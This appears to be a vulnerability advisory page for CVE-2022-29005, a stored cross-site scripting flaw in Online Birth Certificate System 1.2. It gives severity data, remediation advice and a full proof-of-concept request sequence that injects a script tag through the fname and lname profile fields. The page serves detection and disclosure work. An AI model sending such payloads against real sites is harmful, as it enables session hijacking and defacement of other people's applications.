🔙 목록으로 돌아가기

CVE-2022-29005: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting

TitleOnline Birth Certificate System 1.2 - Stored Cross-Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
RemediationTo remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score6.1
EPSS Score0.22122
CVE IDCVE-2022-29005
CWE IDCWE-79
Tags cve cve2022 xss obcs authenticated phpgurukul vuln

🔍 Vulnerability Description

Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters.

🌐 HTTP Request

POST /obcs/user/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

mobno=dv4huP&password=Hhkjnz&login=
POST /obcs/user/profile.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Content-Length: 172
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

fname=FiaeL0%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname=FiaeL0%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=
GET /obcs/user/dashboard.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29005.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29005.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A